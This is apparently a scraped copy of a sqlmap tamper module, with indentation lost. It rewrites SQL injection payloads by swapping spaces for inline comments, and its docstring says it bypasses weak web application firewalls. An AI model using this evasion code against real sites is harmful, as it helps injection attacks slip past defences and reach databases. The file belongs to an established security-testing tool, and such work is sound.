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55 lines
1.2 KiB
Python
55 lines
1.2 KiB
Python
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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces space character (' ') with comments '/**_**/'
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Tested against:
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* MySQL 5.0 and 5.5
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Notes:
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* Useful to bypass weak and bespoke web application firewalls
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>>> tamper('SELECT id FROM users')
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'SELECT/**_**/id/**_**/FROM/**_**/users'
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"""
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retVal = payload
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if payload:
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retVal = ""
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quote, doublequote, firstspace = False, False, False
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for i in xrange(len(payload)):
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if not firstspace:
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if payload[i].isspace():
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firstspace = True
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retVal += "/**_**/"
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continue
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elif payload[i] == '\'':
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quote = not quote
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elif payload[i] == '"':
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doublequote = not doublequote
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elif payload[i] == " " and not doublequote and not quote:
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retVal += "/**_**/"
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continue
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retVal += payload[i]
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return retVal
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